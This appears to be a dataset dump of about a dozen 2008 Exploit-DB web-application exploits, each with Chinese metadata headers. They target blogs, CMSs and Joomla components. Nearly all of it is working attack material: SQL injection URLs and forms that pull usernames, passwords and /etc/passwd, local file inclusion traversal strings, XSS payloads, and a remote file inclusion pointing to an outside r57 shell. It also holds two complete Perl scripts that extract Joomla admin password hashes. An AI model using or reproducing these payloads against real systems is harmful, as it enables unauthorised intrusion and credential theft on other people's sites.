QLWD/code_shield huggingface dataset:
标题: Insanely Simple Blog 0.5 - SQL Injection EDB-ID: 5774 CVE: 2008-2670 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: Insanely Simple Blog 0.5 (index) Remote SQL Injection Vulnerabilities

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: Insanely Simple Blog 

Download ====:: http://jaist.dl.sourceforge.net/sourceforge/insanelysimple2/insanely_simple_blog0.5.zip

Mirror ======:: http://www.badongo.com/file/9706939

______________________
[SQL Injection]

- {index.php} -

http://localhost/isblog/index.php?id=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*

http://localhost/isblog/index.php?current_subsection=-99+union+select+0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*

<form action="http://localhost/isblog/index.php?action=search" method="post">
<input type="hidden" name="term" value="-99' union select 0,1,2,3,4,5,6,load_file('/etc/passwd'),8/*">
<input type="submit" value="send">
</form>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5774
标题: Yblog 0.2.2.2 - Cross-Site Scripting / SQL Injection EDB-ID: 5773 CVE: 2008-2669 2008-2668 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: yBlog 0.2.2.2 Multiple Remote Vulnerabilities

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: yBlog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/y-blog/yblog-0.2.2.2.tar.gz

Mirror ======:: http://www.badongo.com/file/9705849

______________________
[SQL Injection]

- {search.php} -

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="cn" value="1">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

- {user.php} -

http://localhost/yblog/user.php?n=-99'+union+select+0,1,2,3,usuario,password,6,7,8,9,10,11,12,13,14,15,16+from+usuarios/*

- {uss.php} -

http://localhost/yblog/uss.php?action=2&done=1&n=-99'+union+select+0,1,2,usuario,password,5,6,7,8,9,10,11,12,13,14,15,16+from+usuarios+where+usuario='adm'/*

______________________
[Cross-Site Scripting]

- {search.php} -

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="q" value="<script>alert(/xss/)</script>">
  <input type="submit" value="send">
</form>

- {user.php} -

http://localhost/yblog/user.php?n=<script>alert(/xss/)</script>

- {uss.php} - 

http://localhost/yblog/uss.php?action=2&done=1&n=<script>alert(/xss/)</script>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5773
标题: SyndeoCMS 2.6.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5779 CVE: 2008-5272 2008-5271 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: ===========================================================
 SyndeoCMS 2.6.0 (LFI/XSS) Multiple Remote Vulnerabilities
===========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'


AUTHOR : CWH Underground
DATE : 10 June 2008
SITE : www.citec.us


#####################################################
 APPLICATION : SyndeoCMS
 VERSION     : 2.6.0 (Lastest Version)
 DOWNLOAD    : http://downloads.sourceforge.net/syndeocms
#####################################################

---LFI---

#################################################################
Vulnerable Code:
if (IsSet ($_GET['template']))
{
 $template_path = ...;
 $filename = $template_path . "/" . $_GET['template'];
 if (file_exists($filename))
 {
  $handle = fopen($filename, "r");
  $content = fread($handle, filesize($filename));
  fclose($handle);
 }
}
#################################################################

Vulnerable File: 

[+] starnet/editors/fckeditor/studenteditor.php
[+] starnet/modules/sn_news/edit_content.php
[+] starnet/modules/sn_newsletter/edit_content.php

Exploit:

[+] http://[target]/[path]/starnet/editors/fckeditor/studenteditor.php?template=../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=16&modoption=edit_article&cat_id=1&article_id=0&template=../../../../../../../../../../../../../etc/passwd
[+] http://[target]/[path]/starnet/index.php?option=modulemanager&module=17&modoption=edit_newsletter&newsletter_id=1&edition=1&template=../../../../../../../../../../../../../etc/passwd

Note:      - the first link requires pupil session (normal student session)
           - the second link and the third link require admin session


---XSS---

[+] index.php

Example:

http://[target]/[path]/index.php?page=1&section="><script>alert(111);</script>

##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

update:
see: http://www.syndeocms.org/forum/index.php?topic=1788.0

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5779
标题: DCFM Blog 0.9.4 - SQL Injection EDB-ID: 5772 CVE: 2008-2671 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-10 漏洞利用脚本: _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: DCFM Blog 0.9.4 (comments) Remote SQL Injection Vulnerability

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: DCFM Blog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/dcfm-blog/blog_files_0-9-4.zip

Mirror ======:: http://www.badongo.com/file/9630703

______________________
[SQL Injection]

- {comments.php} -

<form action="http://localhost/dcfmblog/comments.php" method="post">
  <input type="text" name="id" size=50 value="-99' union select 0,username,password from accounts where id=1/*">
  <input type="submit" value=" send ">
</form>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10] URL: https://www.exploit-db.com/exploits/5772
标题: ASPilot Pilot Cart 7.3 - 'article' SQL Injection EDB-ID: 5765 CVE: 2008-2688 类型: WEBAPPS 平台: ASP 发布日期: 2008-06-09 漏洞利用脚本: |-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|

[+] Script Name    : Pilot Cart 7.3 Remote SQL Injection Exploit

|+| Team           : injEct0r5

[+] Author         : Bl@ckbe@rD ('Tunisian TerrorisT') ;

[+] Script URL     : www.pilotcart.com

[+] Contact        : blackbeard-sql[A.T]hotmail{.}fr ;

--//-->

[+] Expl0iT :

pilot.asp?pg=kb&article={SQL}

{SQL} -->  115+union+select+Name,Name,Name+from+msysobjects

Or blind it :

{SQL} -->  IIF((select%20mid(last(Name),1,1)%20from%20(select%20top%2010%20Name%20from%20MSysObjects))='a',0,'Bingo')%00

--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5765
标题: pNews 2.08 - 'shownews' SQL Injection EDB-ID: 5768 CVE: 2008-2673 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-09 漏洞利用脚本: pNews 2.08 Remote SqL Ä°nj. VuLn.

OrginaL : http://biyosecurity.com & http://coderx.org

Cr@zy_King / sqL L0v3r'Z Crew Co. 2008

Script Down ; http://www.powie.de/cms/filedb/file.php?id=115&filecat=&eintrag=

http://localhost/index.php?shownews=2'+UNION+SELECT+1,2,username,4,pwd,6,7,8,9,10,11,12+FROM+table/*

Greatz : aLL My Friends :P 

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5768
标题: ProManager 0.73 - 'config.php' Local File Inclusion EDB-ID: 5762 CVE: 2008-2687 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-09 漏洞利用脚本: --------------------------------------
Pro Manager 0.73 Local File Inclusion Vuln
--------------------------------------
http://www.sfr-fresh.com/unix/privat/proManager-0.73.tar.gz
--------------------------------------
By : Stack

email : Wanted
--------------------------------------
Exploit :
http://localhost/path/inc/config.php?language=../../../../[without php extention]
http://localhost/path/inc/config.php?language=../../../../etc/passwd%00
--------------------------------------
thnx allah
Greats to all arabians haxors :d
D-S.Morocco Is The Best :d
Waiting 

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5762
标题: BrowserCRM 5.002.00 - 'clients.php' Remote File Inclusion EDB-ID: 5757 CVE: 2008-2690 2008-2689 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-08 漏洞利用脚本: script: browsercrm-5.002.00 remote file including

Download From: http://www.browsercrm.com/download/browsercrm-5.002.00.tar.gz

dork: Copyright Â© 2007 BrowserCRM Ltd

Vuln Code :

require_once($bcrm_pub_root . "/public_prepend.inc.php")


exploit:

www.site.com/browser_crm/pub/clients.php?bcrm_pub_root=http://www.gwebspace.de/mohsen/shell/r57.txt?


Author: ahmadbady | kivi_hacker666@yahoo.com

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5757
标题: Telephone Directory 2008 - SQL Injection / Cross-Site Scripting EDB-ID: 5764 CVE: 2008-2678 2008-2677 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-09 漏洞利用脚本: ====================================================================
 Telephone Directory 2008 (SQL/XSS) Multiple Remote Vulnerabilities
====================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 9 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : Telephone Directory 2008
 DOWNLOAD    : http://downloads.sourceforge.net/telephone
#####################################################

---SQL Injection Exploit---

***magic_quotes_gpc = Off***

1. Vulnerable in edit1.php
##############################################
Line:
    23: if (($code != "") && ($action == "confirm_data"))
    24: {
    25: $query = "select * from $tele[dir_tbl] where id = '$code'";
    26: $query_run = mysql_query($query, $con) or die(mysql_error());
    27: $num_rows =  mysql_num_rows($query_run);
###############################################

Exploit 1:

http://[target]/[path]/edit1.php?action=confirm_data&code=1'/**/UNION/**/SELECT/**/1,name,3,4,5,6,7,8,9,10,11,12/**/FROM/**/dept/**/WHERE/**/ID='HOUS001


2. Vulnerable in view_more.php
##############################################
Line:
    5: $icode = $_GET[id];

    12: $query = "select name, desgid, deptid, doj, oadd from $tele[dir_tbl] where id = '$icode'";
    13: $query_run = mysql_query($query,$con) or die(mysql_error());
    14: while($i = mysql_fetch_array($query_run))
###############################################

Exploit 2:

http://[target]/[path]/view_more.php?id=1'/**/UNION/**/SELECT/**/1,2,3,name,5/**/FROM/**/dept/**/WHERE/**/ID='INTX007812


---Reflect XSS Exploit---

http://[target]/[path]/edit1.php?action=<XSS>


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5764
标题: Joomla! Component yvComment 1.16 - Blind SQL Injection EDB-ID: 5755 CVE: 2008-2692 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-08 漏洞利用脚本: #!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Long;

if(!$ARGV[1])
{
  print "                                                                        \n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  print "  o   Joomla Component yvcomment Blind SQL Injection Exploit            o\n";
  print "  o   Author:His0k4 [ALGERIAN HaCkeR]                                   o\n";
  print "  o                                                                     o\n";
  print "  o   Conctact: His0k4.hlm[at]gamil.com                                 o\n";
  print "  o   Greetz:   All friends & muslims HacKeRs                           o\n";
  print "  o                                                                     o\n";
  print "  o   Dork :   inurl:yvcomment                                          o\n";
  print "  o   Usage:   perl yvcomment.pl host path <options>                    o\n";
  print "  o   Example: perl yvcomment.pl www.host.com /joomla/ -a 2             o\n";
  print "  o                                                                     o\n";
  print "  o   Options:                                                          o\n";
  print "  o     -a   valid Article id                                           o\n";
  print "  o   Note:                                                             o\n";
  print "  o You can Change the match string by any content of the correct query o\n";
  print "  ooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
  exit;
}

my $host    = $ARGV[0];
my $path    = $ARGV[1];
my $userid  = 1;
my $aid     = $ARGV[2];

my %options = ();
GetOptions(\%options, "u=i", "p=s", "a=i");

print "[~] Exploiting...\n";

if($options{"u"})
{
  $userid = $options{"u"};
}

if($options{"a"})
{
  $aid = $options{"a"};
}

syswrite(STDOUT, "[~] MD5-Hash: ", 14);

for(my $i = 1; $i <= 32; $i++)
{
  my $f = 0;
  my $h = 48;
  while(!$f && $h <= 57)
  {
    if(istrue2($host, $path, $userid, $aid, $i, $h))
    {
      $f = 1;
      syswrite(STDOUT, chr($h), 1);
    }
    $h++;
  }
  if(!$f)
  {
    $h = 97;
    while(!$f && $h <= 122)
    {
      if(istrue2($host, $path, $userid, $aid, $i, $h))
      {
        $f = 1;
        syswrite(STDOUT, chr($h), 1);
      }
      $h++;
    }
  }
}

print "\n[~] Exploiting done\n";

sub istrue2
{
  my $host  = shift;
  my $path  = shift;
  my $uid   = shift;
  my $aid   = shift;
  my $i     = shift;
  my $h     = shift;
 
  my $ua = LWP::UserAgent->new;
  my $query = "http://".$host.$path."index.php?option=com_yvcomment&view=comment&ArticleID=".$aid." and ascii(SUBSTRING((SELECT password FROM jos_users LIMIT 0,1 ),".$i.",1))=".$h."";
 
  if($options{"p"})
  {
    $ua->proxy('http', "http://".$options{"p"});
  }
 
  my $resp = $ua->get($query);
  my $content = $resp->content;
  my $regexp = "DateAndAuthor";
 
  if($content =~ /$regexp/)
  {
    return 1;
  }
  else
  {
    return 0;
  }

}

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5755
标题: phpinv 0.8.0 - Local File Inclusion / Cross-Site Scripting EDB-ID: 5754 CVE: 2008-2695 2008-2694 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-08 漏洞利用脚本: =========================================================
 PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities
=========================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O .. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 8 June 2008
SITE   : www.citec.us


#####################################################
 APPLICATION : PHPInv
 VERSION     : 0.8.0
 DOWNLOAD    : http://sourceforge.net/projects/phpinv
#####################################################

---LFI---

##############################################
Vulnerable: entry.php (?action=)

43: if (isset($action) & !isset($noconfirm)) {
44:  include("inc/entry_$action.php");
45: }

###############################################

---Description---

   Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI -> 
http://[target]/[phpinv_path]/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=test

   Then You can change detail in GET request for this URI, Example

[-]GET http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo HTTP/1.1
[-]Accept: */*
[-]User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
[-]Host: 192.168.1.103
[-]Connection: Close
[-]Pragma: no-cache

   Now you can see phpinfo.php in PHPInv page...  :) 

Tip!! http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00 HTTP/1.1


---XSS---

[+]search.php (keyword)

GET http://192.168.1.103:80/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)
Host: 192.168.1.103
Connection: Close
Pragma: no-cache


##################################################################
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos  #
##################################################################

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5754
标题: XOOPS Module Uploader 1.1 - 'Filename' File Disclosure EDB-ID: 5756 CVE: 2008-7178 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-08 漏洞利用脚本: MMM                                 MMM       
                                        MMM                                 MMM       
MMMMMMMMMMMMM    MMMMMMMMM  MMMMMMMMMM  MMMMMMMMM    MMMMMMMMM   MMMMMMMMM  MMMMMMMMM 
MM   MMM   MMM   MM         MMM         MMM    MMM  MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMM    MMMMMMMM    MMM    MMM  MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMM    MMMMMMMM    MMM MMMMM   MMMMMMMMMM  MMMMMMMMMM  MMM    MMM
MM   MMM   MMM   MM         MMM         MMM  MMMN   MMM    MMM  MMM    MMM  MMM    MMM
MM   MMM   MMM   MMMMMMMMM  MMMMMMMMMM  MMM   NMM   MMM    MMM  MMM    MMM  MMM    MMM


[*] Vulnerable : XOOPS Module Uploader 1.1 - Local File Inclusion
                 Module url : http://www.xoops.org/modules/repository/singlefile.php?cid=28&lid=1243

[*] Author     :  MEEKAAH

[*] Dork       :  Find it yourself ;)

[*] POC        :  http://localhost/modules/uploader/index.php?action=downloadfile&filename=[LFI]

[*] Example    :  http://localhost/modules/uploader/index.php?action=downloadfile&filename=../../../../../../../../../../../../../../../../etc/passwd

-----------------------------------------------------------------------------------------------------------

[*] Greetings  :  Alex, Adeel, CeBbZ, Cubacola, Noel ...

# milw0rm.com [2008-06-08] URL: https://www.exploit-db.com/exploits/5756
标题: Joomla! Component iJoomla! News Portal 1.0 - 'itemID' SQL Injection EDB-ID: 5761 CVE: 2008-2676 类型: WEBAPPS 平台: PHP 发布日期: 2008-06-09 漏洞利用脚本: #!/usr/bin/perl
#[[Script Name: Joomla Component News Portal <= 1.0 Blind SQL Injection Exploit
#[[Coded by   : MEFISTO
#[[Author     : ilker Kandemir
#[[Dork       : "index.php?option=com_news_portal" or "Powered by iJoomla News Portal"

use IO::Socket;
if(@ARGV < 1){
print "
[[========================================================================
[[//   Joomla Component News Portal <= 1.0 Blind SQL Injection Exploit
[[//                   Usage: cnp.pl [target]
[[//                   Example: cnp.pl victim.com
[[//                   Vuln&Exp : iLker Kandemir a.k.a MEFISTO
[[//                   website  : www.dumenci.net -
[[========================================================================
";
exit();
}
#Local variables
$server = $ARGV[0];
$server =~ s/(http:\/\/)//eg;
$host = "http://".$server;
$port = "80";
$file = "/index.php?option=com_news_portal&Itemid=";

print "Script <DIR> : ";
$dir = <STDIN>;
chop ($dir);

if ($dir =~ /exit/){
print "-- Exploit Failed[You Are Exited] \n";
exit();
}

if ($dir =~ /\//){}
else {
print "-- Exploit Failed[No DIR] \n";
exit();
 }


$target = "-1%20union%20select%20111,concat(char(117,115,101,114,110,97,109,101,58),username,char(112,97,115,115,119,111,114,100,58),password),333%20from%20jos_users/*";
$target = $host.$dir.$file.$target;

#Writing data to socket
print "+**********************************************************************+\n";
print "+ Trying to connect: $server\n";
$socket = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$server", PeerPort => "$port") || die "\n+ Connection failed...\n";
print $socket "GET $target HTTP/1.1\n";
print $socket "Host: $server\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "+ Connected!...\n";
#Getting
while($answer = <$socket>) {
if ($answer =~ /username:(.*?)pass/){
print "+ Exploit succeed! Getting admin information.\n";
print "+ ---------------- +\n";
print "+ Username: $1\n";
}

if ($answer =~ /password:(.*?)border/){
print "+ Password: $1\n";
}

if ($answer =~ /Syntax error/) {
print "+ Exploit Failed : ( \n";
print "+**********************************************************************+\n";
exit();
}

if ($answer =~ /Internal Server Error/) {
print "+ Exploit Failed : (  \n";
print "+**********************************************************************+\n";
exit();
}

# milw0rm.com [2008-06-09] URL: https://www.exploit-db.com/exploits/5761